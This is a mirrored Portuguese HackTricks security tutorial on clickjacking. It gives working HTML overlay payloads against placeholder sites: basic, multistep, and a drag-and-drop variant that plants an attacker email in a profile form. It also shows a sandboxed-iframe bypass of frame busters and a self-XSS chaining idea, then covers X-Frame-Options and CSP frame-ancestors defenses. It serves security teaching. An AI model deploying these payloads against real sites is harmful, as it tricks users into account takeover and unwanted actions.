mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 07:31:10 +00:00
196 lines
12 KiB
Markdown
196 lines
12 KiB
Markdown
# Clickjacking
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
|
|
Obtenha Acesso Hoje:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## O que é Clickjacking
|
|
|
|
Clickjacking é um ataque que **engana** um **usuário** para **clicar** em um **elemento** de uma página web que é **invisível** ou disfarçado como outro elemento. Isso pode fazer com que os usuários, sem saber, baixem malware, visitem páginas web maliciosas, forneçam credenciais ou informações sensíveis, transfiram dinheiro ou comprem produtos online. (De [aqui](https://www.imperva.com/learn/application-security/clickjacking/)).
|
|
|
|
### Truque de pré-preenchimento de formulários
|
|
|
|
Às vezes é possível **preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página**. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga de clickjacking para que o usuário pressione o botão Enviar.
|
|
|
|
### Preencher formulário com Arrastar e Soltar
|
|
|
|
Se você precisa que o usuário **preencha um formulário** mas não quer pedir diretamente para ele escrever algumas informações específicas (como o email ou uma senha específica que você conhece), você pode simplesmente pedir para ele **Arrastar e Soltar** algo que escreverá seus dados controlados como no [**este exemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
|
|
|
### Payload Básico
|
|
```markup
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 700px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
div {
|
|
position:absolute;
|
|
top:470px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
</style>
|
|
<div>Click me</div>
|
|
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
|
```
|
|
### Payload Multistep
|
|
```markup
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 500px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
.firstClick, .secondClick {
|
|
position:absolute;
|
|
top:330px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
.secondClick {
|
|
left:210px;
|
|
}
|
|
</style>
|
|
<div class="firstClick">Click me first</div>
|
|
<div class="secondClick">Click me next</div>
|
|
<iframe src="https://vulnerable.net/account"></iframe>
|
|
```
|
|
### Payload de Arrastar e Soltar + Clique
|
|
```markup
|
|
<html>
|
|
<head>
|
|
<style>
|
|
#payload{
|
|
position: absolute;
|
|
top: 20px;
|
|
}
|
|
iframe{
|
|
width: 1000px;
|
|
height: 675px;
|
|
border: none;
|
|
}
|
|
.xss{
|
|
position: fixed;
|
|
background: #F00;
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
|
|
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
|
|
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
|
|
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
|
|
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
|
|
</body>
|
|
</html>
|
|
```
|
|
### XSS + Clickjacking
|
|
|
|
Se você identificou um **ataque XSS que requer que um usuário clique** em algum elemento para **acionar** o XSS e a página é **vulnerável ao clickjacking**, você pode abusar disso para enganar o usuário a clicar no botão/link.\
|
|
Exemplo:\
|
|
_Você encontrou um **self XSS** em alguns detalhes privados da conta (detalhes que **apenas você pode definir e ler**). A página com o **formulário** para definir esses detalhes é **vulnerável** ao **Clickjacking** e você pode **preencher previamente** o **formulário** com os parâmetros GET._\
|
|
\_\_Um atacante poderia preparar um ataque de **Clickjacking** para essa página **preenchendo previamente** o **formulário** com o **payload XSS** e **enganando** o **usuário** a **Enviar** o formulário. Assim, **quando o formulário for enviado** e os valores forem modificados, o **usuário executará o XSS**.
|
|
|
|
## Como evitar Clickjacking
|
|
|
|
### Defesas do lado do cliente
|
|
|
|
É possível executar scripts do lado do cliente que realizam alguns ou todos os seguintes comportamentos para prevenir Clickjacking:
|
|
|
|
* verificar e garantir que a janela da aplicação atual seja a principal ou a janela superior,
|
|
* tornar todos os frames visíveis,
|
|
* impedir cliques em frames invisíveis,
|
|
* interceptar e sinalizar possíveis ataques de clickjacking em um usuário.
|
|
|
|
#### Bypass
|
|
|
|
Como os frame busters são JavaScript, então as configurações de segurança do navegador podem impedir sua operação ou mesmo o navegador pode não suportar JavaScript. Uma solução eficaz de ataque contra frame busters é usar o atributo `sandbox` do iframe **HTML5**. Quando este é definido com os valores `allow-forms` ou `allow-scripts` e o valor `allow-top-navigation` é omitido, então o script de frame buster pode ser neutralizado, pois o iframe não pode verificar se é ou não a janela superior:
|
|
```markup
|
|
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
|
|
```
|
|
```markdown
|
|
Os valores `allow-forms` e `allow-scripts` permitem as ações especificadas dentro do iframe, mas a navegação de nível superior é desativada. Isso inibe comportamentos de frame busting enquanto permite funcionalidade dentro do site alvo.
|
|
|
|
Dependendo do tipo de ataque de Clickjacking realizado **você também pode precisar permitir**: `allow-same-origin` e `allow-modals` ou [até mais](https://www.w3schools.com/tags/att_iframe_sandbox.asp). Ao preparar o ataque, basta verificar o console do navegador, ele pode informar quais outros comportamentos você precisa permitir.
|
|
|
|
### X-Frame-Options
|
|
|
|
O **cabeçalho de resposta HTTP `X-Frame-Options`** pode ser usado para indicar se um navegador deve ou não ser **permitido** para renderizar uma página em um `<frame>` ou `<iframe>`. Sites podem usar isso para evitar ataques de Clickjacking, garantindo que **seu conteúdo não seja incorporado em outros sites**. Defina o cabeçalho **`X-Frame-Options`** para todas as respostas que contenham conteúdo HTML. Os valores possíveis são:
|
|
|
|
* `X-Frame-Options: deny` que **impede qualquer domínio de enquadrar o conteúdo** _(Valor recomendado)_
|
|
* `X-Frame-Options: sameorigin` que **permite apenas ao site atual** enquadrar o conteúdo.
|
|
* `X-Frame-Options: allow-from https://trusted.com` que **permite ao 'uri' especificado** enquadrar esta página.
|
|
* Verifique as limitações abaixo porque **isso falhará aberto se o navegador não suportar**.
|
|
* Outros navegadores suportam a nova **diretiva CSP frame-ancestors**. Alguns suportam ambos.
|
|
|
|
### Diretiva frame-ancestors da Política de Segurança de Conteúdo (CSP)
|
|
|
|
A **proteção contra clickjacking recomendada** é incorporar a **diretiva `frame-ancestors`** na Política de Segurança de Conteúdo da aplicação.\
|
|
A diretiva **`frame-ancestors 'none'`** é semelhante em comportamento à diretiva **X-Frame-Options `deny`** (_Ninguém pode enquadrar a página_).\
|
|
A diretiva **`frame-ancestors 'self'`** é amplamente equivalente à diretiva **X-Frame-Options `sameorigin`** (_apenas o site atual pode enquadrá-la_).\
|
|
A diretiva **`frame-ancestors trusted.com`** é amplamente equivalente à **X-Frame-Options** `allow-from` (_apenas o site confiável pode enquadrá-la_).
|
|
|
|
A seguinte CSP lista branca frames para o mesmo domínio apenas:
|
|
|
|
`Content-Security-Policy: frame-ancestors 'self';`
|
|
|
|
Veja a seguinte documentação para mais detalhes e exemplos mais complexos:
|
|
|
|
* [https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)
|
|
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)
|
|
|
|
### Limitações <a href="#limitations" id="limitations"></a>
|
|
|
|
* **Suporte do navegador:** CSP frame-ancestors não são suportados por todos os principais navegadores ainda.
|
|
* **X-Frame-Options tem prioridade:** [Seção "Relação com X-Frame-Options" da Especificação CSP](https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options) diz: "_Se um recurso é entregue com uma política que inclui uma diretiva chamada frame-ancestors e cuja disposição é "enforce", então o cabeçalho X-Frame-Options DEVE ser ignorado_", mas o Chrome 40 & Firefox 35 ignoram a diretiva frame-ancestors e seguem o cabeçalho X-Frame-Options em vez disso.
|
|
|
|
## Referências
|
|
|
|
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
|
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
|
|
|
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
|
|
Obtenha Acesso Hoje:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**merchandising oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
```
|